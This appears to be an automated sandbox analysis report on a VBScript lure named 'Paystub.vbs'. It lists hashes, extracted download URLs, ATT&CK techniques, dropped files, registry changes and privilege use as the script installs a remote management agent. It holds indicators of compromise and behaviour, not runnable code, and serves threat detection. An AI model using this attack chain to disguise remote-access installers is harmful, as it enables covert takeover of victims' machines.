f346e232d99946b08347a80848a56b42a5248eb450f53c32a6fcb14f8e766199

Analysis

max time kernel
56s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/10/2026, 18:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Paystub.vbs
Size 6KB
Sample261006-w2xesafh76
SHA256 f346e232d99946b08347a80848a56b42a5248eb450f53c32a6fcb14f8e766199
MD5 03665437f76feef46da9a0926779dbda
SHA1 e9ba1d1a656c040839cc4cbef6640f82ebc17d45
SHA512 c65f60fb95630e7c4507c0fc3fde3483363f8c09e7c56eed8a4bbf7da916f5713cb1d467f8154ba83e891eec448c926243e82355fa4d980f7cf151045b945dab
SSDEEP 96:XuNcljSbE0fniIAXOgKGR6OzQZAd6cYmsSGRyDZxfwiLOtrwrwvsonqgEhcwoF4j:XJ2EyzoIKEpmsSxZJdzkEonqg4ToMQG
TLSH
T114D1D40367EA4544B2F32F05AE7649750A27BE626D3DD60D469C1D0E1BF3988E870BB3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://update.microsoft.com

Extracted

Language

Source

URLs

exe.dropper
https://us-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://eu-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://au-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://ifconfig.me/ip

Signatures

Executes dropped EXE 4 IoCs

pid	Process
5964	action1_agent.exe
2952	action1_agent.exe
5064	action1_agent.exe
1352	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
5104	MsiExec.exe
5104	MsiExec.exe
5104	MsiExec.exe
3180	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 32 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
	\??\F:\	powershell.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
	\??\F:\	msiexec.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
32	ifconfig.me
82	ifconfig.me

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3452	WScript.exe
4628	wscript.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI4985.tmp	msiexec.exe
File created	C:\Windows\Installer\e59436d.msi	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_nqsgf4uj.nwn.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_aagqz3ng.1ot.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4u13kb3t.mky.psm1	powershell.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-10-06_19-26-22~5964.log	action1_agent.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\e594368.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1osjlr1t.l5w.ps1	powershell.exe
File created	C:\Windows\Installer\e594368.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF73F024F7D3268CE3.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uqn5vgoa.e0h.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Updates_2010-1789648244.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI4B7B.tmp	msiexec.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_tv40053o.g4b.psm1	powershell.exe
File created	C:\Windows\SystemTemp\~DF8CFD6139F8B724B3.TMP	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.instance_lock	action1_agent.exe
File created	C:\Windows\SystemTemp\~DFCE294759D01FD984.TMP	msiexec.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_yha2i2fr.ozp.ps1	powershell.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_y41r3wh2.fju.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ukjidv4o.mby.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4phekull.lkf.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_baorici1.epm.ps1	powershell.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI485C.tmp	msiexec.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_y2xzmthy.mri.psm1	powershell.exe
File opened for modification	C:\Windows\Installer\MSI4AAF.tmp	msiexec.exe
File created	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_na1mje4l.nyb.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4fffqb1p.ia4.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fvfwggwf.xqx.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_k0teqoip.d32.ps1	powershell.exe
File opened for modification	C:\Windows\Installer\MSI4675.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI47ED.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A}	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bmah1ccs.hwh.ps1	powershell.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_opgbtkzn.mxj.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gbv2und3.jvk.ps1	powershell.exe
File created	C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\~DFFE048D704CD12CDC.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1ltdzue0.2ea.psm1	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1312	powershell.exe
2748	powershell.exe
5768	powershell.exe
4148	powershell.exe
4492	powershell.exe
2672	powershell.exe
560	powershell.exe
5680	powershell.exe
4112	powershell.exe
3564	powershell.exe
5264	powershell.exe
5904	powershell.exe
1104	powershell.exe
1128	powershell.exe
2516	powershell.exe
3152	powershell.exe
5804	powershell.exe
4924	powershell.exe
2748	powershell.exe
2332	powershell.exe
5816	powershell.exe
6016	powershell.exe
4204	powershell.exe
2096	powershell.exe
1284	powershell.exe
6000	powershell.exe
4432	powershell.exe
2616	powershell.exe
488	powershell.exe
1672	powershell.exe
2952	powershell.exe
4016	powershell.exe
5804	powershell.exe
440	powershell.exe
1528	powershell.exe
4560	powershell.exe
2516	powershell.exe
3152	powershell.exe
2784	powershell.exe
6016	powershell.exe
3556	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	action1_agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	action1_agent.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4144	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri\1dd4252bfc28430\a37dfe62	action1_agent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri\1da840c5479071a\a37dfe62	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe

Modifies registry class 24 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "action1.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-560646293-820748483-2532804640-1000\{E8AC55EB-8047-497B-A28F-2D30C92FE524}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
3388	msiexec.exe
3388	msiexec.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4924	powershell.exe
4924	powershell.exe
4924	powershell.exe
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe
5768	powershell.exe
5768	powershell.exe
5768	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1312	powershell.exe
1312	powershell.exe
1312	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
5680	powershell.exe
5680	powershell.exe
5680	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe
3568	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6084	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6084	msiexec.exe
Token: SeSecurityPrivilege	3388	msiexec.exe
Token: SeCreateTokenPrivilege	6084	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	6084	msiexec.exe
Token: SeLockMemoryPrivilege	6084	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6084	msiexec.exe
Token: SeMachineAccountPrivilege	6084	msiexec.exe
Token: SeTcbPrivilege	6084	msiexec.exe
Token: SeSecurityPrivilege	6084	msiexec.exe
Token: SeTakeOwnershipPrivilege	6084	msiexec.exe
Token: SeLoadDriverPrivilege	6084	msiexec.exe
Token: SeSystemProfilePrivilege	6084	msiexec.exe
Token: SeSystemtimePrivilege	6084	msiexec.exe
Token: SeProfSingleProcessPrivilege	6084	msiexec.exe
Token: SeIncBasePriorityPrivilege	6084	msiexec.exe
Token: SeCreatePagefilePrivilege	6084	msiexec.exe
Token: SeCreatePermanentPrivilege	6084	msiexec.exe
Token: SeBackupPrivilege	6084	msiexec.exe
Token: SeRestorePrivilege	6084	msiexec.exe
Token: SeShutdownPrivilege	6084	msiexec.exe
Token: SeDebugPrivilege	6084	msiexec.exe
Token: SeAuditPrivilege	6084	msiexec.exe
Token: SeSystemEnvironmentPrivilege	6084	msiexec.exe
Token: SeChangeNotifyPrivilege	6084	msiexec.exe
Token: SeRemoteShutdownPrivilege	6084	msiexec.exe
Token: SeUndockPrivilege	6084	msiexec.exe
Token: SeSyncAgentPrivilege	6084	msiexec.exe
Token: SeEnableDelegationPrivilege	6084	msiexec.exe
Token: SeManageVolumePrivilege	6084	msiexec.exe
Token: SeImpersonatePrivilege	6084	msiexec.exe
Token: SeCreateGlobalPrivilege	6084	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
Token: SeRestorePrivilege	3388	msiexec.exe
Token: SeTakeOwnershipPrivilege	3388	msiexec.exe
